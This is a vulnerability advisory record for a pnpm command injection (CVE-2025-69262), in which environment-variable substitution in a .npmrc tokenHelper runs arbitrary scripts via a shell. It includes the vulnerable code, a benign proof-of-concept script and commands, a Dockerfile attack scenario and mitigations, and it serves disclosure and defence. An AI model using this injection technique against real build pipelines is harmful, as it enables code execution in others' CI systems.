{"id":"GHSA-2phv-j68v-wwqx","revision":"cb0666f9214a4aeaa94431676ddb62f7","records":[{"revision":"cb0666f9214a4aeaa94431676ddb62f7","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-2phv-j68v-wwqx","aliases":["CVE-2025-69262"],"title":"pnpm vulnerable to Command Injection via environment variable substitution","description":"## Summary\n\nA command injection vulnerability exists in pnpm when using environment variable substitution in `.npmrc` configuration files with `tokenHelper` settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.\n\n## Affected Components\n\n- **Package**: pnpm\n- **Versions**: All versions using `@pnpm/config.env-replace` and `loadToken` functionality\n- **File**: `pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts` - `loadToken()` function\n- **File**: `pnpm/config/config/src/readLocalConfig.ts` - `.npmrc` environment variable substitution\n\n## Technical Details\n\n### Vulnerability Chain\n\n1. **Environment Variable Substitution**\n   - `.npmrc` supports `${VAR}` syntax\n   - Substitution occurs in `readLocalConfig()`\n\n2. **loadToken Execution**\n   - Uses `spawnSync(helperPath, { shell: true })`\n   - Only validates absolute path existence\n\n3. **Attack Flow**\n```\n.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}\n   ↓\nenvReplace() → /tmp/evil-helper.sh\n   ↓\nloadToken() → spawnSync(..., { shell: true })\n   ↓\nRCE achieved\n```\n\n### Code Evidence\n\n**`pnpm/config/config/src/readLocalConfig.ts:17-18`**\n```typescript\nkey = envReplace(key, process.env)\nini[key] = parseField(types, envReplace(val, process.env), key)\n```\n\n**`pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71`**\n```typescript\nexport function loadToken(helperPath: string, settingName: string): string {\n  if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {\n    throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)\n  }\n  const spawnResult = spawnSync(helperPath, { shell: true })\n  // ...\n}\n```\n\n## Proof of Concept\n\n### Prerequisites\n- Private npm registry access\n- Control over environment variables\n- Ability to place scripts in filesystem\n\n### PoC Steps\n\n```bash\n# 1. Create malicious helper script\ncat > /tmp/evil-helper.sh << 'SCRIPT'\n#!/bin/bash\necho \"RCE SUCCESS!\" > /tmp/rce-log.txt\necho \"TOKEN_12345\"\nSCRIPT\nchmod +x /tmp/evil-helper.sh\n\n# 2. Create .npmrc with environment variable\ncat > .npmrc << 'EOF'\nregistry=https://registry.npmjs.org/\nregistry.npmjs.org/:tokenHelper=${HELPER_PATH}\nEOF\n\n# 3. Set environment variable (attacker controlled)\nexport HELPER_PATH=/tmp/evil-helper.sh\n\n# 4. Trigger pnpm install\npnpm install  # RCE occurs during auth\n\n# 5. Verify attack\ncat /tmp/rce-log.txt\n```\n\n### PoC Results\n```\n==> Attack successful\n==> File created: /tmp/rce-log.txt\n==> Arbitrary code execution confirmed\n```\n\n## Impact\n\n### Severity\n- **CVSS Score**: 7.6 (High)\n- **CVSS Vector**: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H\n\n### Affected Environments\n\n**High Risk:**\n- CI/CD pipelines (GitHub Actions, GitLab CI)\n- Docker build environments\n- Kubernetes deployments\n- Private registry users\n\n**Low Risk:**\n- Public registry only\n- Production runtime (no pnpm execution)\n- Static sites\n\n### Attack Scenarios\n\n**Scenario 1: CI/CD Supply Chain**\n```\nRepository → Build Trigger → pnpm install → RCE → Production Deploy\n```\n\n**Scenario 2: Docker Build**\n```dockerfile\nFROM node:20\nARG HELPER_PATH=/tmp/evil\nCOPY .npmrc .\nRUN pnpm install  # RCE\n```\n\n**Scenario 3: Kubernetes**\n```\nSecret Control → Env Variable → .npmrc Substitution → RCE\n```\n\n## Mitigation\n\n### Temporary Workarounds\n\n**Disable tokenHelper:**\n```ini\n# .npmrc\n# registry.npmjs.org/:tokenHelper=${HELPER_PATH}\n```\n\n**Use direct tokens:**\n```ini\n//registry.npmjs.org/:_authToken=YOUR_TOKEN\n```\n\n**Audit environment variables:**\n- Review CI/CD env vars\n- Restrict .npmrc changes\n- Monitor build logs\n\n### Recommended Fixes\n\n1. Remove `shell: true` from loadToken\n2. Implement helper path allowlist\n3. Validate substituted paths\n4. Consider sandboxing\n\n## Disclosure\n\n- **Discovery**: 2025-11-02\n- **PoC**: 2025-11-02\n- **Report**: [Pending disclosure decision]\n\n## References\n\n- Repository: https://github.com/pnpm/pnpm\n- Affected: `@pnpm/config.env-replace@^3.0.2`\n- Similar: CVE-2024-53866, CVE-2023-37478\n\n## Credit\n\nReported by: Jiyong Yang\nContact: sy2n0@naver.com","state":0,"publishedAt":"2026-01-07T18:51:07+00:00","modifiedAt":"2026-02-03T03:16:00.084141+00:00","affected":[{"ecosystem":"npm","name":"pnpm","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"6.25.0"},{"kind":"fixed","version":"10.27.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/pnpm/pnpm/security/advisories/GHSA-2phv-j68v-wwqx","https://nvd.nist.gov/vuln/detail/CVE-2025-69262","https://github.com/pnpm/pnpm","https://github.com/pnpm/pnpm/releases/tag/v10.27.0"],"sourceUrl":"https://github.com/advisories/GHSA-2phv-j68v-wwqx","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-2phv-j68v-wwqx","identifiers":["GHSA-2phv-j68v-wwqx","CVE-2025-69262"]},"retained":false,"historicalAffected":[]}],"coverage":[]}